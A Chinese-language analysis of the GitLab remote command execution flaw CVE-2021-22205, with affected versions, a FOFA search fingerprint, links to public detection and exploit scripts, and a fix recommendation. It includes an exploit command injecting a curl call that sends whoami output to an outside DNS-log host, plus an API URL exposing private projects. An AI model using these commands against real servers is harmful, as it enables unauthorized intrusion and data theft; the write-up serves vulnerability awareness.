Gitlab 远程命令执行漏洞(CVE-2021-22205)分析

Posted ML_Team

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Gitlab 远程命令执行漏洞(CVE-2021-22205)分析相关的知识,希望对你有一定的参考价值。

0x01 前言

GitLab 是由GitLab Inc.开发的一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,可通过Web界面访问公开或私人项目。由于GitLab存在未授权的端点,导致该漏洞在无需进行身份验证的情况下即可进行利用。

0x02 漏洞分析

未授权的端口在于用户注册:https://xx.xx.xx.xx/users/sign_up

 

还可以滥用Gitlab API接口列出所有项目(包括私有项目)

https://xx.xx.xx.xx/api/v4/projects/?simple=yes&private=true&per_page=1000&page=1

此漏洞是通过上传功能来实现RCE的,漏洞出于ExifTool功能处,用于从图像中移除元数据的开源工具,因为此工具在解析上传图像中的元数据时,并没有完全解析某些元数据,导致攻击者上传带有恶意元数据的图片,从而导致远程命令执行。

0x03 影响版本

11.9 <= Gitlab CE/EE < 13.8.8

13.9 <= Gitlab CE/EE < 13.9.6

13.10 <= Gitlab CE/EE < 13.10.3

0x04 漏洞检测

FOFA指纹:

title="GitLab"

漏洞检测脚本:

https://github.com/RedTeamWing/CVE-2021-22205https://github.com/RedTeamWing/CVE-2021-22205

pocsuite3项目地址:

GitHub - knownsec/pocsuite3: pocsuite3 is an open-sourced remote vulnerability testing framework developed by the Knownsec 404 Team.https://github.com/knownsec/pocsuite3

备注:下载CVE-2021-22205.py脚本后,将CVE-2021-22205.py脚本放置pocsuite3项目的pocsuite3-master\\pocsuite3\\pocs目录下

 

执行以下命令:

python3 cli.py -r pocs/CVE-2021-22205.py -u ip:port --verify

EXP:https://github.com/r0eXpeR/CVE-2021-22205

执行以下命令:

python3 CVE-2021-22205.py target "curl \\`whoami\\`.dnslog"

 

 

0x06 修复建议

  1. 升级至最新版本,官方下载链接:https://about.gitlab.com/update/


谢谢你的关注,为小伙伴们持续输出高质量文章。

以上是关于Gitlab 远程命令执行漏洞(CVE-2021-22205)分析的主要内容,如果未能解决你的问题,请参考以下文章

(CVE-2021-44228)Apache log4j 远程命令执行

(CVE-2021-44228)Apache log4j 远程命令执行

druid 远程命令执行(CVE-2021-25646)

druid 远程命令执行(CVE-2021-25646)

FortiManager & FortiAnalyzer UAF远程代码执行漏洞(CVE-2021-32589)预警

CVE-2021-41773|CVE-2021-42013——Apache HTTP Server路径遍历|远程代码执行